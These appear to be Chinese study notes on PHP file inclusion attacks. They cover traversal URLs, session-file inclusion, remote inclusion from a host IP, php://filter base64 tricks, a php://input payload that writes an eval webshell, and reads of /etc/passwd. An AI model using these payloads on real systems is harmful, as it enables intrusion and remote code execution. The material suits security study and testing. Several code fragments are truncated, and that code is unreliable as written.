文件包含
文件包含函数
require() require_once() include() include_once()
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。 <?php $filename = $_GET['filename']; include($filename); ?>
这是第一段代码。在这段代码当中我们可以利用目录遍历漏洞获取其他文件内容,配合文件上传漏洞从而进行代码利用.
http://192.168.3.6/1.php?filename=../../../ReadMe.txt
session文件包含
D:phpstudy_proExtensions mp mp
这里是默认的文件位置。
linux下默认存储在/var/lib/php/session
<?php
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>
具体代码
http://192.168.3.6/1.php?ctfs=<?php phpinfo();?>这时我们在文件的当中查看
dvwa|a:2:{s:8:"messages";a:0:{}s:8:"username";s:5:"admin";}session_token|s:32:"4b3f3405d7edad9cb3719016a8b3256b";09ce75f7751fb9c5b1a4d2d47d47ea5e|b:1;username|s:18:"<?php phpinfo();?>";
可以看见在最后是被写入了我们的php代码。
限制本地文件
<?php $filename = $_GET['filename']; include($filename . ".html"); ?>
https://www.freebuf.com/articles/web/182280.html
以上都是有条件的,例如:
%00截断:magicquotesgpc = Off php版本<5.3.4
路径长度截断:条件:windows OS,点号需要长于256;linux OS 长于4096
例如:http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/././././下面的忽略了。
点号截断:条件:条件:windows OS,点号需要长于256。
远程文件包含
条件:
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)
此时:http://www.ctfs-wiki.com/FI/FI.php?filename=http://192.168.3.6/test.txt
如果有限制的话:
<?php include($_GET['filename'] . ".html"); ?>
此时文件添加了html后缀
绕过:添加注释符%23即#号,%20空格号,%3f即?号
PHP伪协议
思来想去尽管很懒还是要总结一下php的伪协议,感觉挺重要的对于文件包含。
可用过滤器列表
字符串过滤器
string.strip_tags
转换过滤器
压缩过滤器
加密过滤器
php://file
php://filter
需要我们开启条件:allowurlfopen。
元封装器,对传送进来的数据进行选择过滤,对本地磁盘文件进行读写。
用法:?filename=php://filter/read=convert.base64-encode/resource=xxx.php。
一下的函数能够帮助我们过滤变量传递进来的参数
filter_has_var() 检查是否存在指定输入类型的变量。 filter_id() 返回指定过滤器的 ID 号。 filter_input() 从脚本外部获取输入,并进行过滤。 filter_input_array() 从脚本外部获取多项输入,并进行过滤。 filter_list() 返回包含所有得到支持的过滤器的一个数组。 filter_var_array() 获取多项变量,并进行过滤。 filter_var() 获取一个变量,并进行过滤。
过滤器:
FILTER_CALLBACK 调用用户自定义函数来过滤数据。 FILTER_SANITIZE_STRING 去除标签,去除或编码特殊字符。 FILTER_SANITIZE_STRIPPED "string" 过滤器的别名。 FILTER_SANITIZE_ENCODED URL-encode 字符串,去除或编码特殊字符。 FILTER_SANITIZE_SPECIAL_CHARS HTML 转义字符 '"<>& 以及 ASCII 值小于 32 的字符。 FILTER_SANITIZE_EMAIL 删除所有字符,除了字母、数字以及 !#$%&'*+-/=?^_`{|}~@.[] FILTER_SANITIZE_URL 删除所有字符,除了字母、数字以及 $-_.+!*'(),{}|\^~[]`<>#%";/?:@&= FILTER_SANITIZE_NUMBER_INT 删除所有字符,除了数字和 +- FILTER_SANITIZE_NUMBER_FLOAT 删除所有字符,除了数字、+- 以及 .,eE。 FILTER_SANITIZE_MAGIC_QUOTES 应用 addslashes()。 FILTER_UNSAFE_RAW 不进行任何过滤,去除或编码特殊字符。 FILTER_VALIDATE_INT 在指定的范围以整数验证值。 FILTER_VALIDATE_BOOLEAN 如果是 "1", "true", "on" 以及 "yes",则返回 true,如果是 "0", "false", "off", "no" 以及 "",则返回 false。否则返回 NULL。 FILTER_VALIDATE_FLOAT 以浮点数验证值。 FILTER_VALIDATE_REGEXP 根据 regexp,兼容 Perl 的正则表达式来验证值。 FILTER_VALIDATE_URL 把值作为 URL 来验证。 FILTER_VALIDATE_EMAIL 把值作为 e-mail 来验证。 FILTER_VALIDATE_IP 把值作为 IP 地址来验证。
php过滤的一个例子:
array ( "min_range"=>0, "max_range"=>256 ) ); if(!filter_var($var, FILTER_VALIDATE_INT, $int_options)) { echo("Integer is not valid"); } else { echo("Integer is valid"); } ?>
名称 | 描述 | 备注 |
---|---|---|
resource=<要过滤的数据流> | 指定了你要筛选过滤的数据流。 | 必选 |
read=<读链的筛选列表> | 可以设定一个或多个过滤器名称,以管道符(|)分隔。 | 可选 |
write=<写链的筛选列表> | 可以设定一个或多个过滤器名称,以管道符(|)分隔。 | 可选 |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
所以这个payload的行为?filename=php://filter/read=convert.base64-encode/resource=xxx.php。
是让我们通过base64加密读取文件,并且绕过了过滤。 这个更深的原理我个人是这么认为的,我们读入文件的时候先对这个文件进行了编码转换为base64,所以此时进行过滤过滤器就认为没有需要过滤的了就放行了。 应用:在XXE中,我们可以将PHP等容易引发冲突的文件流用php://filter协议流处理一遍,这样就能有效规避特殊字符造成混乱。
一段代码,利用文件包含写shell
'; $content .= $_POST['txt']; file_put_contents($_POST['filename'], $content);
同样的我们也可以反向写入webshell,利用php://filter/read=convert.base64-decode/resource=xxx.php
<?php exit;?>这一部分在经过解码后,php不对其解析,而我们想要写入的一句话正好被成功解码。因此得以成功上传webshell。这部分是因为当$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。
“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。
这里的部分我的复现如下 我们在
phpexitabbbbJTNDJTNGcGhwJTIwcGhwaW5mbyUyOCUyOSUzQiUyMCUzRiUzRQ==
添加了四个bbbb解码为如下:
¦^Æ+Zm¶Û<?php phpinfo(); ?>
但是只添加了三个bbb解码就是:
¦^Æ+Zm¶ÉLÐÉLÑ L[ÉL LILÐL LÑLÑD
这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了,最后转换成的编码也就是phpexitaJTNDJTNGcGhwJTIwcGhwaW5mbyUyOCUyOSUzQiUyMCUzRiUzRQ==
这部分编码解码后也就是¦^Æ+Z<?php phpinfo(); ?>
[](https://www.leavesongs.com/PENETRATION/php-filter-magic.html)
php://input
php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input
文件上传写入shell,测试代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
条件:php配置文件中需同时开启 allowurlfopen 和 allowurlinclude(PHP < 5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行。
?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
上传一下ok了
命令执行:
<?php
$filename = $_GET['filename'];
include($filename);
?>
条件:php配置文件中需同时开启 allowurlfopen 和 allowurlinclude(PHP < 5.30),就可以造成任意代码执行。
注意:enctype=”multipart/form-data” 的时候 php://input 是无效的。
file://
专门用于访问本地文件系统和php://filter类似都可以对本地文件进行读取
用法:file=file://文件的绝对路径
例如:file=file:///etc/passwd
phar://
phar:// 支持zip、phar格式的文件包含。 利用条件:php >= 5.3.0 用法:?file=phar://[压缩包文件相对路径]/[压缩文件内的子文件名]
zip://
zip协议和phar协议类似,都支持相对路径和绝对路径,在php version 5.2.9时已经修复zip://相对路径问题。
使用zip协议,需将#编码为%23(浏览器时)
利用条件:php >= 5.2(绝对路径) | php >= 5.29(相对/绝对路径)
具体实例:
index.php?file=zip://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/head.png%23head.txt
index.php?file=zip://head.png%23head.txt